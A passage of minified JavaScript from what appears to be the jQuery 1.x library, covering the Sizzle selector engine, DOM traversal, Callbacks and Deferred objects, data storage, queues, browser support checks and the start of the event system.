q = b.parentNode,
r = h && b.nodeName.toLowerCase(),
t = !i && !h;
if (q) {
if (f) {
while (p) {
l = b;
while (l = l[p])
if (h ? l.nodeName.toLowerCase() === r : 1 === l.nodeType) return !1;
o = p = "only" === a && !o && "nextSibling"
}
return !0
}
if (o = [g ? q.firstChild : q.lastChild], g && t) {
k = q[s] || (q[s] = {}), j = k[a] || [], n = j[0] === u && j[1], m = j[0] === u && j[2], l = n && q.childNodes[n];
while (l = ++n && l && l[p] || (m = n = 0) || o.pop())
if (1 === l.nodeType && ++m && l === b) {
k[a] = [u, n, m];
break
}
} else if (t && (j = (b[s] || (b[s] = {}))[a]) && j[0] === u) m = j[1];
else
while (l = ++n && l && l[p] || (m = n = 0) || o.pop())
if ((h ? l.nodeName.toLowerCase() === r : 1 === l.nodeType) && ++m && (t && ((l[s] || (l[s] = {}))[a] = [u, m]), l === b)) break; return m -= e, m === d || m % d === 0 && m / d >= 0
}
}
},
PSEUDO: function(a, b) {
var c, e = d.pseudos[a] || d.setFilters[a.toLowerCase()] || db.error("unsupported pseudo: " + a);
return e[s] ? e(b) : e.length > 1 ? (c = [a, a, "", b], d.setFilters.hasOwnProperty(a.toLowerCase()) ? ba(function(a, c) {
var d, f = e(a, b),
g = f.length;
while (g--) d = I.call(a, f[g]), a[d] = !(c[d] = f[g])
}) : function(a) {
return e(a, 0, c)
}) : e
}
},
pseudos: {
not: ba(function(a) {
var b = [],
c = [],
d = g(a.replace(P, "$1"));
return d[s] ? ba(function(a, b, c, e) {
var f, g = d(a, null, e, []),
h = a.length;
while (h--)(f = g[h]) && (a[h] = !(b[h] = f))
}) : function(a, e, f) {
return b[0] = a, d(b, null, f, c), !c.pop()
}
}),
has: ba(function(a) {
return function(b) {
return db(a, b).length > 0
}
}),
contains: ba(function(a) {
return function(b) {
return (b.textContent || b.innerText || e(b)).indexOf(a) > -1
}
}),
lang: ba(function(a) {
return U.test(a || "") || db.error("unsupported lang: " + a), a = a.replace(ab, bb).toLowerCase(),
function(b) {
var c;
do
if (c = n ? b.lang : b.getAttribute("xml:lang") || b.getAttribute("lang")) return c = c.toLowerCase(), c === a || 0 === c.indexOf(a + "-");
while ((b = b.parentNode) && 1 === b.nodeType);
return !1
}
}),
target: function(b) {
var c = a.location && a.location.hash;
return c && c.slice(1) === b.id
},
root: function(a) {
return a === m
},
focus: function(a) {
return a === l.activeElement && (!l.hasFocus || l.hasFocus()) && !!(a.type || a.href || ~a.tabIndex)
},
enabled: function(a) {
return a.disabled === !1
},
disabled: function(a) {
return a.disabled === !0
},
checked: function(a) {
var b = a.nodeName.toLowerCase();
return "input" === b && !!a.checked || "option" === b && !!a.selected
},
selected: function(a) {
return a.parentNode && a.parentNode.selectedIndex, a.selected === !0
},
empty: function(a) {
for (a = a.firstChild; a; a = a.nextSibling)
if (a.nodeType < 6) return !1;
return !0
},
parent: function(a) {
return !d.pseudos.empty(a)
},
header: function(a) {
return X.test(a.nodeName)
},
input: function(a) {
return W.test(a.nodeName)
},
button: function(a) {
var b = a.nodeName.toLowerCase();
return "input" === b && "button" === a.type || "button" === b
},
text: function(a) {
var b;
return "input" === a.nodeName.toLowerCase() && "text" === a.type && (null == (b = a.getAttribute("type")) || "text" === b.toLowerCase())
},
first: lb(function() {
return [0]
}),
last: lb(function(a, b) {
return [b - 1]
}),
eq: lb(function(a, b, c) {
return [0 > c ? c + b : c]
}),
even: lb(function(a, b) {
for (var c = 0; b > c; c += 2) a.push(c);
return a
}),
odd: lb(function(a, b) {
for (var c = 1; b > c; c += 2) a.push(c);
return a
}),
lt: lb(function(a, b, c) {
for (var d = 0 > c ? c + b : c; --d >= 0;) a.push(d);
return a
}),
gt: lb(function(a, b, c) {
for (var d = 0 > c ? c + b : c; ++d < b;) a.push(d);
return a
})
}
}, d.pseudos.nth = d.pseudos.eq;
for (b in {
radio: !0,
checkbox: !0,
file: !0,
password: !0,
image: !0
}) d.pseudos[b] = jb(b);
for (b in {
submit: !0,
reset: !0
}) d.pseudos[b] = kb(b);

function nb() {}
nb.prototype = d.filters = d.pseudos, d.setFilters = new nb;

function ob(a, b) {
var c, e, f, g, h, i, j, k = x[a + " "];
if (k) return b ? 0 : k.slice(0);
h = a, i = [], j = d.preFilter;
while (h) {
(!c || (e = Q.exec(h))) && (e && (h = h.slice(e[0].length) || h), i.push(f = [])), c = !1, (e = R.exec(h)) && (c = e.shift(), f.push({
value: c,
type: e[0].replace(P, " ")
}), h = h.slice(c.length));
for (g in d.filter) !(e = V[g].exec(h)) || j[g] && !(e = j[g](e)) || (c = e.shift(), f.push({
value: c,
type: g,
matches: e
}), h = h.slice(c.length));
if (!c) break
}
return b ? h.length : h ? db.error(a) : x(a, i).slice(0)
}

function pb(a) {
for (var b = 0, c = a.length, d = ""; c > b; b++) d += a[b].value;
return d
}

function qb(a, b, c) {
var d = b.dir,
e = c && "parentNode" === d,
f = v++;
return b.first ? function(b, c, f) {
while (b = b[d])
if (1 === b.nodeType || e) return a(b, c, f)
} : function(b, c, g) {
var h, i, j = [u, f];
if (g) {
while (b = b[d])
if ((1 === b.nodeType || e) && a(b, c, g)) return !0
} else
while (b = b[d])
if (1 === b.nodeType || e) {
if (i = b[s] || (b[s] = {}), (h = i[d]) && h[0] === u && h[1] === f) return j[2] = h[2];
if (i[d] = j, j[2] = a(b, c, g)) return !0
}
}
}

function rb(a) {
return a.length > 1 ? function(b, c, d) {
var e = a.length;
while (e--)
if (!a[e](b, c, d)) return !1;
return !0
} : a[0]
}

function sb(a, b, c, d, e) {
for (var f, g = [], h = 0, i = a.length, j = null != b; i > h; h++)(f = a[h]) && (!c || c(f, d, e)) && (g.push(f), j && b.push(h));
return g
}

function tb(a, b, c, d, e, f) {
return d && !d[s] && (d = tb(d)), e && !e[s] && (e = tb(e, f)), ba(function(f, g, h, i) {
var j, k, l, m = [],
n = [],
o = g.length,
p = f || wb(b || "*", h.nodeType ? [h] : h, []),
q = !a || !f && b ? p : sb(p, m, a, h, i),
r = c ? e || (f ? a : o || d) ? [] : g : q;
if (c && c(q, r, h, i), d) {
j = sb(r, n), d(j, [], h, i), k = j.length;
while (k--)(l = j[k]) && (r[n[k]] = !(q[n[k]] = l))
}
if (f) {
if (e || a) {
if (e) {
j = [], k = r.length;
while (k--)(l = r[k]) && j.push(q[k] = l);
e(null, r = [], j, i)
}
k = r.length;
while (k--)(l = r[k]) && (j = e ? I.call(f, l) : m[k]) > -1 && (f[j] = !(g[j] = l))
}
} else r = sb(r === g ? r.splice(o, r.length) : r), e ? e(null, g, r, i) : G.apply(g, r)
})
}

function ub(a) {
for (var b, c, e, f = a.length, g = d.relative[a[0].type], i = g || d.relative[" "], j = g ? 1 : 0, k = qb(function(a) {
return a === b
}, i, !0), l = qb(function(a) {
return I.call(b, a) > -1
}, i, !0), m = [function(a, c, d) {
return !g && (d || c !== h) || ((b = c).nodeType ? k(a, c, d) : l(a, c, d))
}]; f > j; j++)
if (c = d.relative[a[j].type]) m = [qb(rb(m), c)];
else {
if (c = d.filter[a[j].type].apply(null, a[j].matches), c[s]) {
for (e = ++j; f > e; e++)
if (d.relative[a[e].type]) break;
return tb(j > 1 && rb(m), j > 1 && pb(a.slice(0, j - 1).concat({
value: " " === a[j - 2].type ? "*" : ""
})).replace(P, "$1"), c, e > j && ub(a.slice(j, e)), f > e && ub(a = a.slice(e)), f > e && pb(a))
}
m.push(c)
}
return rb(m)
}

function vb(a, b) {
var c = b.length > 0,
e = a.length > 0,
f = function(f, g, i, j, k) {
var m, n, o, p = 0,
q = "0",
r = f && [],
s = [],
t = h,
v = f || e && d.find.TAG("*", k),
w = u += null == t ? 1 : Math.random() || .1,
x = v.length;
for (k && (h = g !== l && g); q !== x && null != (m = v[q]); q++) {
if (e && m) {
n = 0;
while (o = a[n++])
if (o(m, g, i)) {
j.push(m);
break
}
k && (u = w)
}
c && ((m = !o && m) && p--, f && r.push(m))
}
if (p += q, c && q !== p) {
n = 0;
while (o = b[n++]) o(r, s, g, i);
if (f) {
if (p > 0)
while (q--) r[q] || s[q] || (s[q] = E.call(j));
s = sb(s)
}
G.apply(j, s), k && !f && s.length > 0 && p + b.length > 1 && db.uniqueSort(j)
}
return k && (u = w, h = t), r
};
return c ? ba(f) : f
}
g = db.compile = function(a, b) {
var c, d = [],
e = [],
f = y[a + " "];
if (!f) {
b || (b = ob(a)), c = b.length;
while (c--) f = ub(b[c]), f[s] ? d.push(f) : e.push(f);
f = y(a, vb(e, d))
}
return f
};

function wb(a, b, c) {
for (var d = 0, e = b.length; e > d; d++) db(a, b[d], c);
return c
}

function xb(a, b, e, f) {
var h, i, j, k, l, m = ob(a);
if (!f && 1 === m.length) {
if (i = m[0] = m[0].slice(0), i.length > 2 && "ID" === (j = i[0]).type && c.getById && 9 === b.nodeType && n && d.relative[i[1].type]) {
if (b = (d.find.ID(j.matches[0].replace(ab, bb), b) || [])[0], !b) return e;
a = a.slice(i.shift().value.length)
}
h = V.needsContext.test(a) ? 0 : i.length;
while (h--) {
if (j = i[h], d.relative[k = j.type]) break;
if ((l = d.find[k]) && (f = l(j.matches[0].replace(ab, bb), $.test(i[0].type) && mb(b.parentNode) || b))) {
if (i.splice(h, 1), a = f.length && pb(i), !a) return G.apply(e, f), e;
break
}
}
}
return g(a, m)(f, b, !n, e, $.test(a) && mb(b.parentNode) || b), e
}
return c.sortStable = s.split("").sort(z).join("") === s, c.detectDuplicates = !!j, k(), c.sortDetached = gb(function(a) {
return 1 & a.compareDocumentPosition(l.createElement("div"))
}), gb(function(a) {
return a.innerHTML = "<a href='#'></a>", "#" === a.firstChild.getAttribute("href")
}) || hb("type|href|height|width", function(a, b, c) {
return c ? void 0 : a.getAttribute(b, "type" === b.toLowerCase() ? 1 : 2)
}), c.attributes && gb(function(a) {
return a.innerHTML = "<input/>", a.firstChild.setAttribute("value", ""), "" === a.firstChild.getAttribute("value")
}) || hb("value", function(a, b, c) {
return c || "input" !== a.nodeName.toLowerCase() ? void 0 : a.defaultValue
}), gb(function(a) {
return null == a.getAttribute("disabled")
}) || hb(J, function(a, b, c) {
var d;
return c ? void 0 : a[b] === !0 ? b.toLowerCase() : (d = a.getAttributeNode(b)) && d.specified ? d.value : null
}), db
}(a);
n.find = t, n.expr = t.selectors, n.expr[":"] = n.expr.pseudos, n.unique = t.uniqueSort, n.text = t.getText, n.isXMLDoc = t.isXML, n.contains = t.contains;
var u = n.expr.match.needsContext,
v = /^<(\w+)\s*\/?>(?:<\/\1>|)$/,
w = /^.[^:#\[\.,]*$/;

function x(a, b, c) {
if (n.isFunction(b)) return n.grep(a, function(a, d) {
return !!b.call(a, d, a) !== c
});
if (b.nodeType) return n.grep(a, function(a) {
return a === b !== c
});
if ("string" == typeof b) {
if (w.test(b)) return n.filter(b, a, c);
b = n.filter(b, a)
}
return n.grep(a, function(a) {
return n.inArray(a, b) >= 0 !== c
})
}
n.filter = function(a, b, c) {
var d = b[0];
return c && (a = ":not(" + a + ")"), 1 === b.length && 1 === d.nodeType ? n.find.matchesSelector(d, a) ? [d] : [] : n.find.matches(a, n.grep(b, function(a) {
return 1 === a.nodeType
}))
}, n.fn.extend({
find: function(a) {
var b, c = [],
d = this,
e = d.length;
if ("string" != typeof a) return this.pushStack(n(a).filter(function() {
for (b = 0; e > b; b++)
if (n.contains(d[b], this)) return !0
}));
for (b = 0; e > b; b++) n.find(a, d[b], c);
return c = this.pushStack(e > 1 ? n.unique(c) : c), c.selector = this.selector ? this.selector + " " + a : a, c
},
filter: function(a) {
return this.pushStack(x(this, a || [], !1))
},
not: function(a) {
return this.pushStack(x(this, a || [], !0))
},
is: function(a) {
return !!x(this, "string" == typeof a && u.test(a) ? n(a) : a || [], !1).length
}
});
var y, z = a.document,
A = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,
B = n.fn.init = function(a, b) {
var c, d;
if (!a) return this;
if ("string" == typeof a) {
if (c = "<" === a.charAt(0) && ">" === a.charAt(a.length - 1) && a.length >= 3 ? [null, a, null] : A.exec(a), !c || !c[1] && b) return !b || b.jquery ? (b || y).find(a) : this.constructor(b).find(a);
if (c[1]) {
if (b = b instanceof n ? b[0] : b, n.merge(this, n.parseHTML(c[1], b && b.nodeType ? b.ownerDocument || b : z, !0)), v.test(c[1]) && n.isPlainObject(b))
for (c in b) n.isFunction(this[c]) ? this[c](b[c]) : this.attr(c, b[c]);
return this
}
if (d = z.getElementById(c[2]), d && d.parentNode) {
if (d.id !== c[2]) return y.find(a);
this.length = 1, this[0] = d
}
return this.context = z, this.selector = a, this
}
return a.nodeType ? (this.context = this[0] = a, this.length = 1, this) : n.isFunction(a) ? "undefined" != typeof y.ready ? y.ready(a) : a(n) : (void 0 !== a.selector && (this.selector = a.selector, this.context = a.context), n.makeArray(a, this))
};
B.prototype = n.fn, y = n(z);
var C = /^(?:parents|prev(?:Until|All))/,
D = {
children: !0,
contents: !0,
next: !0,
prev: !0
};
n.extend({
dir: function(a, b, c) {
var d = [],
e = a[b];
while (e && 9 !== e.nodeType && (void 0 === c || 1 !== e.nodeType || !n(e).is(c))) 1 === e.nodeType && d.push(e), e = e[b];
return d
},
sibling: function(a, b) {
for (var c = []; a; a = a.nextSibling) 1 === a.nodeType && a !== b && c.push(a);
return c
}
}), n.fn.extend({
has: function(a) {
var b, c = n(a, this),
d = c.length;
return this.filter(function() {
for (b = 0; d > b; b++)
if (n.contains(this, c[b])) return !0
})
},
closest: function(a, b) {
for (var c, d = 0, e = this.length, f = [], g = u.test(a) || "string" != typeof a ? n(a, b || this.context) : 0; e > d; d++)
for (c = this[d]; c && c !== b; c = c.parentNode)
if (c.nodeType < 11 && (g ? g.index(c) > -1 : 1 === c.nodeType && n.find.matchesSelector(c, a))) {
f.push(c);
break
}
return this.pushStack(f.length > 1 ? n.unique(f) : f)
},
index: function(a) {
return a ? "string" == typeof a ? n.inArray(this[0], n(a)) : n.inArray(a.jquery ? a[0] : a, this) : this[0] && this[0].parentNode ? this.first().prevAll().length : -1
},
add: function(a, b) {
return this.pushStack(n.unique(n.merge(this.get(), n(a, b))))
},
addBack: function(a) {
return this.add(null == a ? this.prevObject : this.prevObject.filter(a))
}
});

function E(a, b) {
do a = a[b]; while (a && 1 !== a.nodeType);
return a
}
n.each({
parent: function(a) {
var b = a.parentNode;
return b && 11 !== b.nodeType ? b : null
},
parents: function(a) {
return n.dir(a, "parentNode")
},
parentsUntil: function(a, b, c) {
return n.dir(a, "parentNode", c)
},
next: function(a) {
return E(a, "nextSibling")
},
prev: function(a) {
return E(a, "previousSibling")
},
nextAll: function(a) {
return n.dir(a, "nextSibling")
},
prevAll: function(a) {
return n.dir(a, "previousSibling")
},
nextUntil: function(a, b, c) {
return n.dir(a, "nextSibling", c)
},
prevUntil: function(a, b, c) {
return n.dir(a, "previousSibling", c)
},
siblings: function(a) {
return n.sibling((a.parentNode || {}).firstChild, a)
},
children: function(a) {
return n.sibling(a.firstChild)
},
contents: function(a) {
return n.nodeName(a, "iframe") ? a.contentDocument || a.contentWindow.document : n.merge([], a.childNodes)
}
}, function(a, b) {
n.fn[a] = function(c, d) {
var e = n.map(this, b, c);
return "Until" !== a.slice(-5) && (d = c), d && "string" == typeof d && (e = n.filter(d, e)), this.length > 1 && (D[a] || (e = n.unique(e)), C.test(a) && (e = e.reverse())), this.pushStack(e)
}
});
var F = /\S+/g,
G = {};

function H(a) {
var b = G[a] = {};
return n.each(a.match(F) || [], function(a, c) {
b[c] = !0
}), b
}
n.Callbacks = function(a) {
a = "string" == typeof a ? G[a] || H(a) : n.extend({}, a);
var b, c, d, e, f, g, h = [],
i = !a.once && [],
j = function(l) {
for (c = a.memory && l, d = !0, f = g || 0, g = 0, e = h.length, b = !0; h && e > f; f++)
if (h[f].apply(l[0], l[1]) === !1 && a.stopOnFalse) {
c = !1;
break
}
b = !1, h && (i ? i.length && j(i.shift()) : c ? h = [] : k.disable())
},
k = {
add: function() {
if (h) {
var d = h.length;
! function f(b) {
n.each(b, function(b, c) {
var d = n.type(c);
"function" === d ? a.unique && k.has(c) || h.push(c) : c && c.length && "string" !== d && f(c)
})
}(arguments), b ? e = h.length : c && (g = d, j(c))
}
return this
},
remove: function() {
return h && n.each(arguments, function(a, c) {
var d;
while ((d = n.inArray(c, h, d)) > -1) h.splice(d, 1), b && (e >= d && e--, f >= d && f--)
}), this
},
has: function(a) {
return a ? n.inArray(a, h) > -1 : !(!h || !h.length)
},
empty: function() {
return h = [], e = 0, this
},
disable: function() {
return h = i = c = void 0, this
},
disabled: function() {
return !h
},
lock: function() {
return i = void 0, c || k.disable(), this
},
locked: function() {
return !i
},
fireWith: function(a, c) {
return !h || d && !i || (c = c || [], c = [a, c.slice ? c.slice() : c], b ? i.push(c) : j(c)), this
},
fire: function() {
return k.fireWith(this, arguments), this
},
fired: function() {
return !!d
}
};
return k
}, n.extend({
Deferred: function(a) {
var b = [
["resolve", "done", n.Callbacks("once memory"), "resolved"],
["reject", "fail", n.Callbacks("once memory"), "rejected"],
["notify", "progress", n.Callbacks("memory")]
],
c = "pending",
d = {
state: function() {
return c
},
always: function() {
return e.done(arguments).fail(arguments), this
},
then: function() {
var a = arguments;
return n.Deferred(function(c) {
n.each(b, function(b, f) {
var g = n.isFunction(a[b]) && a[b];
e[f[1]](function() {
var a = g && g.apply(this, arguments);
a && n.isFunction(a.promise) ? a.promise().done(c.resolve).fail(c.reject).progress(c.notify) : c[f[0] + "With"](this === d ? c.promise() : this, g ? [a] : arguments)
})
}), a = null
}).promise()
},
promise: function(a) {
return null != a ? n.extend(a, d) : d
}
},
e = {};
return d.pipe = d.then, n.each(b, function(a, f) {
var g = f[2],
h = f[3];
d[f[1]] = g.add, h && g.add(function() {
c = h
}, b[1 ^ a][2].disable, b[2][2].lock), e[f[0]] = function() {
return e[f[0] + "With"](this === e ? d : this, arguments), this
}, e[f[0] + "With"] = g.fireWith
}), d.promise(e), a && a.call(e, e), e
},
when: function(a) {
var b = 0,
c = d.call(arguments),
e = c.length,
f = 1 !== e || a && n.isFunction(a.promise) ? e : 0,
g = 1 === f ? a : n.Deferred(),
h = function(a, b, c) {
return function(e) {
b[a] = this, c[a] = arguments.length > 1 ? d.call(arguments) : e, c === i ? g.notifyWith(b, c) : --f || g.resolveWith(b, c)
}
},
i, j, k;
if (e > 1)
for (i = new Array(e), j = new Array(e), k = new Array(e); e > b; b++) c[b] && n.isFunction(c[b].promise) ? c[b].promise().done(h(b, k, c)).fail(g.reject).progress(h(b, j, i)) : --f;
return f || g.resolveWith(k, c), g.promise()
}
});
var I;
n.fn.ready = function(a) {
return n.ready.promise().done(a), this
}, n.extend({
isReady: !1,
readyWait: 1,
holdReady: function(a) {
a ? n.readyWait++ : n.ready(!0)
},
ready: function(a) {
if (a === !0 ? !--n.readyWait : !n.isReady) {
if (!z.body) return setTimeout(n.ready);
n.isReady = !0, a !== !0 && --n.readyWait > 0 || (I.resolveWith(z, [n]), n.fn.trigger && n(z).trigger("ready").off("ready"))
}
}
});

function J() {
z.addEventListener ? (z.removeEventListener("DOMContentLoaded", K, !1), a.removeEventListener("load", K, !1)) : (z.detachEvent("onreadystatechange", K), a.detachEvent("onload", K))
}

function K() {
(z.addEventListener || "load" === event.type || "complete" === z.readyState) && (J(), n.ready())
}
n.ready.promise = function(b) {
if (!I)
if (I = n.Deferred(), "complete" === z.readyState) setTimeout(n.ready);
else if (z.addEventListener) z.addEventListener("DOMContentLoaded", K, !1), a.addEventListener("load", K, !1);
else {
z.attachEvent("onreadystatechange", K), a.attachEvent("onload", K);
var c = !1;
try {
c = null == a.frameElement && z.documentElement
} catch (d) {}
c && c.doScroll && ! function e() {
if (!n.isReady) {
try {
c.doScroll("left")
} catch (a) {
return setTimeout(e, 50)
}
J(), n.ready()
}
}()
}
return I.promise(b)
};
var L = "undefined",
M;
for (M in n(l)) break;
l.ownLast = "0" !== M, l.inlineBlockNeedsLayout = !1, n(function() {
var a, b, c = z.getElementsByTagName("body")[0];
c && (a = z.createElement("div"), a.style.cssText = "border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px", b = z.createElement("div"), c.appendChild(a).appendChild(b), typeof b.style.zoom !== L && (b.style.cssText = "border:0;margin:0;width:1px;padding:1px;display:inline;zoom:1", (l.inlineBlockNeedsLayout = 3 === b.offsetWidth) && (c.style.zoom = 1)), c.removeChild(a), a = b = null)
}),
function() {
var a = z.createElement("div");
if (null == l.deleteExpando) {
l.deleteExpando = !0;
try {
delete a.test
} catch (b) {
l.deleteExpando = !1
}
}
a = null
}(), n.acceptData = function(a) {
var b = n.noData[(a.nodeName + " ").toLowerCase()],
c = +a.nodeType || 1;
return 1 !== c && 9 !== c ? !1 : !b || b !== !0 && a.getAttribute("classid") === b
};
var N = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
O = /([A-Z])/g;

function P(a, b, c) {
if (void 0 === c && 1 === a.nodeType) {
var d = "data-" + b.replace(O, "-$1").toLowerCase();
if (c = a.getAttribute(d), "string" == typeof c) {
try {
c = "true" === c ? !0 : "false" === c ? !1 : "null" === c ? null : +c + "" === c ? +c : N.test(c) ? n.parseJSON(c) : c
} catch (e) {}
n.data(a, b, c)
} else c = void 0
}
return c
}

function Q(a) {
var b;
for (b in a)
if (("data" !== b || !n.isEmptyObject(a[b])) && "toJSON" !== b) return !1;
return !0
}

function R(a, b, d, e) {
if (n.acceptData(a)) {
var f, g, h = n.expando,
i = a.nodeType,
j = i ? n.cache : a,
k = i ? a[h] : a[h] && h;
if (k && j[k] && (e || j[k].data) || void 0 !== d || "string" != typeof b) return k || (k = i ? a[h] = c.pop() || n.guid++ : h), j[k] || (j[k] = i ? {} : {
toJSON: n.noop
}), ("object" == typeof b || "function" == typeof b) && (e ? j[k] = n.extend(j[k], b) : j[k].data = n.extend(j[k].data, b)), g = j[k], e || (g.data || (g.data = {}), g = g.data), void 0 !== d && (g[n.camelCase(b)] = d), "string" == typeof b ? (f = g[b], null == f && (f = g[n.camelCase(b)])) : f = g, f
}
}

function S(a, b, c) {
if (n.acceptData(a)) {
var d, e, f = a.nodeType,
g = f ? n.cache : a,
h = f ? a[n.expando] : n.expando;
if (g[h]) {
if (b && (d = c ? g[h] : g[h].data)) {
n.isArray(b) ? b = b.concat(n.map(b, n.camelCase)) : b in d ? b = [b] : (b = n.camelCase(b), b = b in d ? [b] : b.split(" ")), e = b.length;
while (e--) delete d[b[e]];
if (c ? !Q(d) : !n.isEmptyObject(d)) return
}(c || (delete g[h].data, Q(g[h]))) && (f ? n.cleanData([a], !0) : l.deleteExpando || g != g.window ? delete g[h] : g[h] = null)
}
}
}
n.extend({
cache: {},
noData: {
"applet ": !0,
"embed ": !0,
"object ": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
},
hasData: function(a) {
return a = a.nodeType ? n.cache[a[n.expando]] : a[n.expando], !!a && !Q(a)
},
data: function(a, b, c) {
return R(a, b, c)
},
removeData: function(a, b) {
return S(a, b)
},
_data: function(a, b, c) {
return R(a, b, c, !0)
},
_removeData: function(a, b) {
return S(a, b, !0)
}
}), n.fn.extend({
data: function(a, b) {
var c, d, e, f = this[0],
g = f && f.attributes;
if (void 0 === a) {
if (this.length && (e = n.data(f), 1 === f.nodeType && !n._data(f, "parsedAttrs"))) {
c = g.length;
while (c--) d = g[c].name, 0 === d.indexOf("data-") && (d = n.camelCase(d.slice(5)), P(f, d, e[d]));
n._data(f, "parsedAttrs", !0)
}
return e
}
return "object" == typeof a ? this.each(function() {
n.data(this, a)
}) : arguments.length > 1 ? this.each(function() {
n.data(this, a, b)
}) : f ? P(f, a, n.data(f, a)) : void 0
},
removeData: function(a) {
return this.each(function() {
n.removeData(this, a)
})
}
}), n.extend({
queue: function(a, b, c) {
var d;
return a ? (b = (b || "fx") + "queue", d = n._data(a, b), c && (!d || n.isArray(c) ? d = n._data(a, b, n.makeArray(c)) : d.push(c)), d || []) : void 0
},
dequeue: function(a, b) {
b = b || "fx";
var c = n.queue(a, b),
d = c.length,
e = c.shift(),
f = n._queueHooks(a, b),
g = function() {
n.dequeue(a, b)
};
"inprogress" === e && (e = c.shift(), d--), e && ("fx" === b && c.unshift("inprogress"), delete f.stop, e.call(a, g, f)), !d && f && f.empty.fire()
},
_queueHooks: function(a, b) {
var c = b + "queueHooks";
return n._data(a, c) || n._data(a, c, {
empty: n.Callbacks("once memory").add(function() {
n._removeData(a, b + "queue"), n._removeData(a, c)
})
})
}
}), n.fn.extend({
queue: function(a, b) {
var c = 2;
return "string" != typeof a && (b = a, a = "fx", c--), arguments.length < c ? n.queue(this[0], a) : void 0 === b ? this : this.each(function() {
var c = n.queue(this, a, b);
n._queueHooks(this, a), "fx" === a && "inprogress" !== c[0] && n.dequeue(this, a)
})
},
dequeue: function(a) {
return this.each(function() {
n.dequeue(this, a)
})
},
clearQueue: function(a) {
return this.queue(a || "fx", [])
},
promise: function(a, b) {
var c, d = 1,
e = n.Deferred(),
f = this,
g = this.length,
h = function() {
--d || e.resolveWith(f, [f])
};
"string" != typeof a && (b = a, a = void 0), a = a || "fx";
while (g--) c = n._data(f[g], a + "queueHooks"), c && c.empty && (d++, c.empty.add(h));
return h(), e.promise(b)
}
});
var T = /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,
U = ["Top", "Right", "Bottom", "Left"],
V = function(a, b) {
return a = b || a, "none" === n.css(a, "display") || !n.contains(a.ownerDocument, a)
},
W = n.access = function(a, b, c, d, e, f, g) {
var h = 0,
i = a.length,
j = null == c;
if ("object" === n.type(c)) {
e = !0;
for (h in c) n.access(a, b, h, c[h], !0, f, g)
} else if (void 0 !== d && (e = !0, n.isFunction(d) || (g = !0), j && (g ? (b.call(a, d), b = null) : (j = b, b = function(a, b, c) {
return j.call(n(a), c)
})), b))
for (; i > h; h++) b(a[h], c, g ? d : d.call(a[h], h, b(a[h], c)));
return e ? a : j ? b.call(a) : i ? b(a[0], c) : f
},
X = /^(?:checkbox|radio)$/i;
! function() {
var a = z.createDocumentFragment(),
b = z.createElement("div"),
c = z.createElement("input");
if (b.setAttribute("className", "t"), b.innerHTML = " 	<link/>
<table></table>
<a href='/a'>a</a>", l.leadingWhitespace = 3 === b.firstChild.nodeType, l.tbody = !b.getElementsByTagName("tbody").length, l.htmlSerialize = !!b.getElementsByTagName("link").length, l.html5Clone = "<:nav></:nav>" !== z.createElement("nav").cloneNode(!0).outerHTML, c.type = "checkbox", c.checked = !0, a.appendChild(c), l.appendChecked = c.checked, b.innerHTML = "<textarea>x</textarea>", l.noCloneChecked = !!b.cloneNode(!0).lastChild.defaultValue, a.appendChild(b), b.innerHTML = "<input type='radio' checked='checked' name='t'/>", l.checkClone = b.cloneNode(!0).cloneNode(!0).lastChild.checked, l.noCloneEvent = !0, b.attachEvent && (b.attachEvent("onclick", function() {
l.noCloneEvent = !1
}), b.cloneNode(!0).click()), null == l.deleteExpando) {
l.deleteExpando = !0;
try {
delete b.test
} catch (d) {
l.deleteExpando = !1
}
}
a = b = c = null
}(),
function() {
var b, c, d = z.createElement("div");
for (b in {
submit: !0,
change: !0,
focusin: !0
}) c = "on" + b, (l[b + "Bubbles"] = c in a) || (d.setAttribute(c, "t"), l[b + "Bubbles"] = d.attributes[c].expando === !1);
d = null
}();
var Y = /^(?:input|select|textarea)$/i,
Z = /^key/,
$ = /^(?:mouse|contextmenu)|click/,
_ = /^(?:focusinfocus|focusoutblur)$/,
ab = /^([^.]*)(?:\.(.+)|)$/;

function bb() {
return !0
}

function cb() {
return !1
}

function db() {
try {
return z.activeElement
} catch (a) {}
}
n.event = {
global: {},
add: function(a, b, c, d, e) {
var f, g, h, i, j, k, l, m, o, p, q, r = n._data(a);
if (r) {
c.handler && (i = c, c = i.handler, e = i.selector), c.guid || (c.guid = n.guid++), (g = r.events) || (g = r.events = {}), (k = r.handle) || (k = r.handle = function(a) {
return typeof n === L || a && n.event.triggered === a.type ? void 0 : n.event.dispatch.apply(k.elem, arguments)
}, k.elem = a), b = (b || "").match(F) || [""], h = b.length;
while (h--) f = ab.exec(b[h]) || [], o = q = f[1], p = (f[2] || "").split(".").sort(), o && (j = n.event.special[o] || {}, o = (e ? j.delegateType : j.bindType) || o, j = n.event.special[o] || {}, l = n.extend({
type: o,
origType: q,
data: d,
handler: c,
guid: c.guid,
selector: e,
needsContext: e && n.expr.match.needsContext.test(e),
namespace: p.join(".")
}, i), (m = g[o]) || (m = g[o] = [], m.delegateCount = 0, j.setup && j.setup.call(a, d, p, k) !== !1 || (a.addEventListener ? a.addEventListener(o, k, !1) : a.attachEvent && a.attachEvent("on" + o, k))), j.add && (j.add.call(a, l), l.handler.guid || (l.handler.guid = c.guid)), e ? m.splice(m.delegateCount++, 0, l) : m.push(l), n.event.global[o] = !0);
a = null
}
},
remove: function(a, b, c, d, e) {
var f, g, h, i, j, k, l, m, o, p, q, r = n.hasData(a) && n._data(a);
if (r && (k = r.events)) {
b = (b || "").match(F) || [""], j = b.length;
while (j--)
if (h = ab.exec(b[j]) || [], o = q = h[1], p = (h[2] || "").split(".").sort(), o) {
l = n.event.special[o] || {}, o = (d ? l.delegateType : l.bindType) || o, m = k[o] || [], h = h[2] && new RegExp("(^|\\.)" + p.join("\\.(?:.*\\.|)") + "(\\.|$)"), i = f = m.length;
while (f--) g = m[f], !e && q !== g.origType || c && c.guid !== g.guid || h && !h.test(g.namespace) || d && d !== g.selector && ("**" !== d || !g.selector) || (m.splice(f, 1), g.selector && m.delegateCount--, l.remove && l.remove.call(a, g));
i && !m.length && (l.teardown && l.teardown.call(a, p, r.handle) !== !1 || n.removeEvent(a, o, r.handle), delete k[o])
} else
for (o in k) n.event.remove(a, o + b[j], c, d, !0);
